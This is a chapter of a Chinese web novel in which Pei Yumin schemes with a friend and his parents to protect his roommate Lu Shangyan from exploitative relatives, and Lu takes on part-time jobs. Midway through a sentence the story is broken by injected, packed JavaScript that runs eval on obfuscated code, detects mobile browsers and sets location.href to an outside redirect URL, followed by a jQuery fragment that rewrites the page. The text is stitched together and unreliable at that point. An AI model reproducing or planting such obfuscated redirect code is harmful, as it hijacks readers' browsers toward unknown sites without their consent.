车窗被降下,空气吹进来撒在脸上,陆商衍才深吸了好几气,才感觉到好受了些。
但对于裴予悯刚才的疑问,却始终一言不发,没再给任何回应。
等四周都再次静下来,裴予悯才反应过来自己刚才占有欲作祟,说话太严重了。
他现在对于陆商衍来说,还只是一个为了减轻房租而存在的合租室友,他完全没有任何立场去管陆商衍的私事。
这是他的错。
于是就假装刚才什么都没发生过,僵硬的咧开嘴唇,露出一个标准的假面微笑,声音也一板一眼的,像上个世纪故作感情充沛的播音员:“你的胃还难受吗?我直接带你去医院检查一下吧?”
陆商衍看着车窗外飞速闪过的路灯,缓缓摇头:“不难受了。”
裴予悯分心多看了他几眼,没从他脸上看到任何不适,这才暂时歇了强制把他送去医院的心思。
再一个,他现在是要看陆商衍脸色办事的,他可得更乖一点,免得被扫地出门。
陆商衍是真的累了,回到家就钻到房间里,拉上窗帘,被子盖过头顶昏睡起来。
裴予悯站在门口听了好一阵,一开始是站着,后来是耳朵贴着门,再后来是整个人都贴了上去,确保是一点声音都听不到了,才转过坐在沙发上,这样等陆商衍稍有动静,他就能在第一时间赶过去。
唐随晨电话打来的时候,他已经第n次幻想到陆商衍一个人趴在床上吐血,虚弱求救声穿不透门板,导致他听不到,从而受了不少苦头。
电话打来的时候,他被这幻想的画面吓出一身冷汗,接了电话开口就说:“你觉得我现在趁着商商睡着跑到他房间里,被他赶出来的概率有多大?”
唐随晨是想问陆霖还有陈烁的事都处理的怎么样了,还有没有不要让帮忙的地方,谁知却遇上一个正在发神经的。
他捏了下眉心,如实回答:“百分之百。”
裴予悯:“不会被赶出来...”
唐随晨:“一定被赶出来...”
两人声音同时响起,又很快变弱,裴予悯压着声音为自己辩解:“不可能!我前两天还去过他的房间,他就没把我赶出来。”
唐随晨语气惊喜:“看不出来啊你,私下里居然这么大胆闷骚?你跟我讲讲你在他睡着的时候都干了什么?”
他显然是想歪了。
但裴予悯完全没想这么多:“看他睡觉。”
唐随晨都坐直身子准备细听了,又被这话重新打回了毛毛虫原型,裹着被子躺在床上,不想和他这个多年好友深入交谈“别样人生”了,不然他俩到最后朋友都没得做。
还是正事要紧:“陆霖他妈已经被接过来了,现在在酒店里住着呢,老家伙现在怕得门都不敢出,见到人就一个劲儿的问是不是她儿子犯罪了,说要是拿钱赎人的话,就去找陆商衍。”
裴予悯咬着牙,陆商衍能拿着录取通知书走进Z大,是靠着他一个月一家一千五的“回报费”换来的。
三家叔婶,加起来一个月不吃不喝就要花掉四千五。
怪不得陆商衍每天恨不得长在兼职的地方,赚了那么多钱还是会念叨被穿的快要裂开的几块钱的拖鞋!
他忙碌一个月,还要兼顾成绩,能从那吃人的泥潭爬到现在,不知道是褪了几层皮!要是换作其它人,恐怕早就和这一家子断绝来往了。
可陆商衍为什么还要强撑着呢?
裴予悯抓了把头发,想不通:“一家子都是臭不要脸的!”
唐随晨说:“钱我有办法帮你要回来。”
裴予悯怕陆商衍知道后会生气,毕竟他能忍这么久,一定是不想和这伙人彻底撕破脸皮,他有他的道理。
可转念一想,这事是唐随晨做的,关他裴予悯什么事?陆商衍能好过一点更重要:“别让陆商衍知道。”
“我办事你放心。”唐随晨笑出声:“陆霖想做生意,我就好好教他。”
挂了电话,裴予悯又给齐闵发了个短信:
[你去找我妈,说我被人欺负了,现在吃不下喝不下,一蹶不振病倒在床了。]
[说我不愿意让他们担心所以一直忍着没说,是你实在看不下去了,才去找她说的,记住,一定要说的声情并茂了一点!]
齐闵:[好的,裴总。]
齐闵:......低劣的谎言,谁信啊?
可原女士真信了。
当即心跳加快,眼泪都流出来了,账本也不看了,拿着包就开车跑去找老裴给儿子撑腰去了。
大概过了不到二十分钟,裴予悯就收到原女士的电话,裴予悯一连挂断了三次,才深吸一口气,假装虚弱的接通。
原女士担忧的声音传来:“谁欺负你了,我的好儿子,都怪你爸,非让你去什么分公司历练,去那种小地方,那些人都不认识你,害的你被人排挤受欺负!”
老裴一个头两个大:“他是快三十岁,不是三岁。”
裴予悯咳嗽几声,憋的眼眶通红,才小声说:“妈,你别担心,爸说的对,我已经快三十岁了,我要学会自己处理事情。”
老裴长叹一口气:“裴予悯,你能别装了吗!”
裴予悯见好就收:“要是我自己受欺负,我肯定就不急了,但这次情况不一样,你们的儿媳妇被人盯上了,那人天天在学校抹黑他,惹得他现在学上不好,觉睡不好,整天摇摇欲坠,看起来随时都会出事。”
“我想帮他,可你们儿媳妇从小就是第一名,自强自律,不喜欢依靠别人,我怕我帮他会让他有负担,所以现在是进退两难,才思虑过重。”
说完,又虚弱沙哑的咳嗽好几声。
原女士愣住了,抬高声音担忧的说:“儿子,你是发烧烧糊涂了吧?你不是不行吗?这么优秀的女孩怎么可能愿意和你在一起呢?”
裴予悯说:“是男儿媳,再一个,我怎么就不行了?我很行!”
原女士回头看着齐闵求证,齐闵微闭着眼睛点头。
原女士瞳孔不受控制的放大:“儿子,你是下面的啊!”
裴予悯记得在酒店那晚,一开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361096|183684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆商衍确实是主动坐在他身上晃来着。
就没多做解释:“别把话题扯远了,你们有办法帮忙吗?那些混蛋可是把刀抵在您儿媳妇脖子上威胁了!”
老裴捂着心口:“是谁?”
裴予悯添油加醋的说了一大堆,演技可比齐闵好了不知道几百倍,说到最后,原女士都母爱泛滥,要亲自把陆商衍接到身边再好好养一回了。
在原女士的哭泣声,还有老裴的叹息声中,裴予悯说:“那些人我现在能暗中解决,你儿子我也不是一无是处,所以老裴,我有更重要的事情要你做,只有你这样钱包鼓鼓的人能胜任。”
裴予悯一百八十度大转弯,老裴的脑子差一点想抽筋:“你又想到了什么上不得台面的主意?”
-
陈烁被禁足的时间再次延长,陆商衍已经近一周没在学校里见过他的影子。
陆霖被从放出来当天,陆商衍去接他的时候没看到人,打电话给他也不接,从那天之后就像是销声匿迹了一样。
陆商衍还紧张了两天,直到接到一通陌生电话,是陆霖打来的,说他去跟着大老板去做大生意了,路上手机丢了,补办了张新卡。他几天已经赚了不少钱,陆商衍那五万块钱他已经不需要了,也看不上了,要陆商衍给他妈汇过去。
陆商衍自然不能汇,要是真打了五万回去,就有另外两个五万在等着他,所以挂了电话,他就立马把钱还给了宋禹辛。
陆霖眼高手低,这么短的时间里空手套白狼赚到钱,还是比五万高出不少的钱,这事肯定不简单,电话中陆商衍还好言劝阻,却被陆霖骂了回去:“赚大钱要的是胆量和人脉!人家大老板信任我、看得上我,所以愿意带着我发大财!哪像你?只会读书上学的废物,养你那么大一点用都没有!”
陆商衍就不敢再劝了,加上他在董书凡那里的面试通过了,又多了一个兼职,就变得更忙碌了点。
不过好在压在他身上的债务清除了,就算再忙也不觉得有什么。
夏栗介绍的兼职时间延长了,有他们兼职当收银员的时候,收益要比平常高上不少,时愈就和还愿意来帮忙的人签了长期合同。
工资要比平常还要兼职拍照的时候工资低了点,但这对于陆商衍来说已经很不错了,他必须得在暑假之前攒到学费,有剩余是最好的。
他今年暑假想回去过假期,在他们那个县城,估计找不到什么好的工作。
这么盘算着,陆商衍利索签了合同。
事后赵健知道了还笑他:“合同都不仔细看?就不怕这里面有哪项条款,是要你给来买衣服的大客户提供特殊服务啊?”
陆商衍还没来得及回答,董书凡就推门进来了,对上视线之后,就站到了他身边,模样看起来十分熟络:“前两天听你说还在这里兼职就想来看看了,但是病人太多,一直忙到今天才抽出时间。”
赵健闻到八卦的味道,咬着奶茶吸管飘到旁边光明正大的站在旁边盯着董书凡看了好一阵,突然惊呼出声:“炮/王?是你吗小辣椒炮/王?”